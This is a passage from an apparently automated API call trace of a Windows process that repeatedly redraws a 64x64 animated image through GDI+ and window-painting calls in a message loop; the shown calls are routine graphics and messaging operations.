(matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0160.368] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.368] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.369] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.369] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0160.369] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.369] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.369] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.370] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.370] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0160.370] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0160.370] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0160.370] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0160.370] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.370] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0160.370] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0160.370] GetCurrentObject (hdc=0x24010bab, type=0x1) returned 0x1b00017 [0160.370] GetCurrentObject (hdc=0x24010bab, type=0x2) returned 0x1900010 [0160.371] GetCurrentObject (hdc=0x24010bab, type=0x7) returned 0x1a05067e [0160.371] GetCurrentObject (hdc=0x24010bab, type=0x6) returned 0x18a002e [0160.371] SaveDC (hdc=0x24010bab) returned 1 [0160.371] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff3040b8a [0160.371] GetClipRgn (hdc=0x24010bab, hrgn=0xfffffffff3040b8a) returned 0 [0160.371] SelectClipRgn (hdc=0x24010bab, hrgn=0x230407c3) returned 2 [0160.371] DeleteObject (ho=0xfffffffff3040b8a) returned 1 [0160.371] DeleteObject (ho=0x230407c3) returned 1 [0160.371] OffsetViewportOrgEx (in: hdc=0x24010bab, x=0, y=0, lppt=0x2721b58 | out: lppt=0x2721b58) returned 1 [0160.371] GetNearestColor (hdc=0x24010bab, color=0xffffff) returned 0xffffff [0160.372] CreateSolidBrush (color=0xffffff) returned 0xfffffffffb100190 [0160.372] FillRect (hDC=0x24010bab, lprc=0x15d7c0, hbr=0xfffffffffb100190) returned 1 [0160.372] DeleteObject (ho=0xfffffffffb100190) returned 1 [0160.372] RestoreDC (hdc=0x24010bab, nSavedDC=-1) returned 1 [0160.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.373] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x24010bab) returned 0x0 [0160.373] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbf00dbd) returned 0x0 [0160.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.373] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0160.373] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.373] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.373] GetSystemMetrics (nIndex=42) returned 0 [0160.373] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.373] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.373] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.373] CoTaskMemFree (pv=0x1e91eca0) [0160.373] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0160.375] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0160.375] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0160.376] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0160.376] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0160.376] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x24010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0160.376] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.376] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x24010bab) returned 0x0 [0160.376] SelectObject (hdc=0x24010bab, h=0x185000f) returned 0x1a05067e [0160.376] DeleteDC (hdc=0x24010bab) returned 1 [0160.376] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.376] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0160.376] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0160.377] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0160.377] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.377] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.377] WaitMessage () returned 1 [0160.560] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.560] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.561] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.561] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.561] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.561] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0160.561] GetCurrentThreadId () returned 0xec0 [0160.561] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0160.561] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.561] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.561] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.561] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.561] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.561] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0160.561] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0160.562] CreateCompatibleDC (hdc=0x3010b83) returned 0x25010bab [0160.562] SelectObject (hdc=0x25010bab, h=0x1a05067e) returned 0x185000f [0160.562] GdipCreateFromHDC (hdc=0x25010bab, graphics=0x15daf0) returned 0x0 [0160.562] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0160.562] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0160.562] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0160.562] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0160.562] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0160.563] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.563] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0160.563] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.563] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.563] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0160.563] GdipCreateRegion (region=0x15dc20) returned 0x0 [0160.564] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0160.564] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0160.564] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0160.564] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.564] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.564] GetSystemMetrics (nIndex=42) returned 0 [0160.564] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.564] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.564] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.564] CoTaskMemFree (pv=0x1e91eca0) [0160.564] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0160.565] GdipCreateRegion (region=0x15d710) returned 0x0 [0160.565] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0160.565] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0160.565] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0160.565] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0160.565] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.565] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.566] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.566] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0160.566] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.566] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.566] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.566] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.567] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0160.567] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0160.567] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0160.567] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0160.567] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.567] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0160.567] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0160.567] GetCurrentObject (hdc=0x25010bab, type=0x1) returned 0x1b00017 [0160.568] GetCurrentObject (hdc=0x25010bab, type=0x2) returned 0x1900010 [0160.568] GetCurrentObject (hdc=0x25010bab, type=0x7) returned 0x1a05067e [0160.568] GetCurrentObject (hdc=0x25010bab, type=0x6) returned 0x18a002e [0160.568] SaveDC (hdc=0x25010bab) returned 1 [0160.568] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x240407c3 [0160.568] GetClipRgn (hdc=0x25010bab, hrgn=0x240407c3) returned 0 [0160.568] SelectClipRgn (hdc=0x25010bab, hrgn=0xfffffffff4040b8a) returned 2 [0160.568] DeleteObject (ho=0x240407c3) returned 1 [0160.568] DeleteObject (ho=0xfffffffff4040b8a) returned 1 [0160.569] OffsetViewportOrgEx (in: hdc=0x25010bab, x=0, y=0, lppt=0x2722e58 | out: lppt=0x2722e58) returned 1 [0160.569] GetNearestColor (hdc=0x25010bab, color=0xffffff) returned 0xffffff [0160.569] CreateSolidBrush (color=0xffffff) returned 0xfffffffffc100190 [0160.569] FillRect (hDC=0x25010bab, lprc=0x15d7c0, hbr=0xfffffffffc100190) returned 1 [0160.569] DeleteObject (ho=0xfffffffffc100190) returned 1 [0160.569] RestoreDC (hdc=0x25010bab, nSavedDC=-1) returned 1 [0160.569] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.569] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x25010bab) returned 0x0 [0160.570] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbee0dbd) returned 0x0 [0160.570] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.570] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0160.570] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.570] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.570] GetSystemMetrics (nIndex=42) returned 0 [0160.570] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.570] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.570] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.570] CoTaskMemFree (pv=0x1e91eca0) [0160.570] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0160.570] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0160.570] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0160.571] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0160.571] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x25010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0160.571] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.571] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x25010bab) returned 0x0 [0160.571] SelectObject (hdc=0x25010bab, h=0x185000f) returned 0x1a05067e [0160.571] DeleteDC (hdc=0x25010bab) returned 1 [0160.571] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.571] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0160.571] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0160.571] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0160.572] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.572] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.572] WaitMessage () returned 1 [0160.810] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.810] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.810] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.810] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.810] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.811] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0160.811] GetCurrentThreadId () returned 0xec0 [0160.811] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0160.811] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.811] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.811] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.811] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.811] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.811] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0160.811] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0160.812] CreateCompatibleDC (hdc=0x3010b83) returned 0x26010bab [0160.812] SelectObject (hdc=0x26010bab, h=0x1a05067e) returned 0x185000f [0160.812] GdipCreateFromHDC (hdc=0x26010bab, graphics=0x15daf0) returned 0x0 [0160.812] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0160.812] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0160.812] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0160.812] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0160.812] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0160.812] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.812] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0160.813] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.813] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.813] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0160.813] GdipCreateRegion (region=0x15dc20) returned 0x0 [0160.813] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0160.813] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0160.814] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0160.814] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.814] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.814] GetSystemMetrics (nIndex=42) returned 0 [0160.814] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.814] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.814] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.814] CoTaskMemFree (pv=0x1e91eca0) [0160.814] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0160.814] GdipCreateRegion (region=0x15d710) returned 0x0 [0160.814] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0160.815] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0160.815] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0160.815] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0160.815] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.815] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.815] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.815] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0160.816] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.816] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.816] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.816] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.816] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0160.816] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0160.816] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0160.816] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0160.817] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.817] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0160.817] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0160.817] GetCurrentObject (hdc=0x26010bab, type=0x1) returned 0x1b00017 [0160.817] GetCurrentObject (hdc=0x26010bab, type=0x2) returned 0x1900010 [0160.817] GetCurrentObject (hdc=0x26010bab, type=0x7) returned 0x1a05067e [0160.817] GetCurrentObject (hdc=0x26010bab, type=0x6) returned 0x18a002e [0160.817] SaveDC (hdc=0x26010bab) returned 1 [0160.817] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff5040b8a [0160.817] GetClipRgn (hdc=0x26010bab, hrgn=0xfffffffff5040b8a) returned 0 [0160.817] SelectClipRgn (hdc=0x26010bab, hrgn=0x250407c3) returned 2 [0160.818] DeleteObject (ho=0xfffffffff5040b8a) returned 1 [0160.818] DeleteObject (ho=0x250407c3) returned 1 [0160.818] OffsetViewportOrgEx (in: hdc=0x26010bab, x=0, y=0, lppt=0x2723790 | out: lppt=0x2723790) returned 1 [0160.818] GetNearestColor (hdc=0x26010bab, color=0xffffff) returned 0xffffff [0160.818] CreateSolidBrush (color=0xffffff) returned 0xfffffffffd100190 [0160.818] FillRect (hDC=0x26010bab, lprc=0x15d7c0, hbr=0xfffffffffd100190) returned 1 [0160.818] DeleteObject (ho=0xfffffffffd100190) returned 1 [0160.818] RestoreDC (hdc=0x26010bab, nSavedDC=-1) returned 1 [0160.818] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.818] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x26010bab) returned 0x0 [0160.819] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbec0dbd) returned 0x0 [0160.819] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.819] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0160.819] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.819] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.819] GetSystemMetrics (nIndex=42) returned 0 [0160.819] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.819] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.819] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.819] CoTaskMemFree (pv=0x1e91eca0) [0160.819] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0160.821] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0160.821] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0160.821] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0160.822] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0160.822] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x26010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0160.822] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.822] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x26010bab) returned 0x0 [0160.822] SelectObject (hdc=0x26010bab, h=0x185000f) returned 0x1a05067e [0160.822] DeleteDC (hdc=0x26010bab) returned 1 [0160.822] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.822] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0160.822] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0160.822] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0160.822] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.822] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.823] WaitMessage () returned 1 [0160.985] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.985] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.985] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.985] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.985] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.985] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0160.985] GetCurrentThreadId () returned 0xec0 [0160.985] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0160.985] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.985] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.985] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.985] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.985] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.985] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0160.985] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0160.986] CreateCompatibleDC (hdc=0x3010b83) returned 0x27010bab [0160.986] SelectObject (hdc=0x27010bab, h=0x1a05067e) returned 0x185000f [0160.986] GdipCreateFromHDC (hdc=0x27010bab, graphics=0x15daf0) returned 0x0 [0160.986] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0160.986] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0160.986] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0160.986] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0160.986] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0160.987] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.987] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0160.987] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.987] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.987] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0160.987] GdipCreateRegion (region=0x15dc20) returned 0x0 [0160.988] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0160.988] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0160.988] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0160.988] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.988] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.988] GetSystemMetrics (nIndex=42) returned 0 [0160.988] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.988] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.988] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.988] CoTaskMemFree (pv=0x1e91eca0) [0160.988] GetClientRect (in: hWnd=0x2031e, 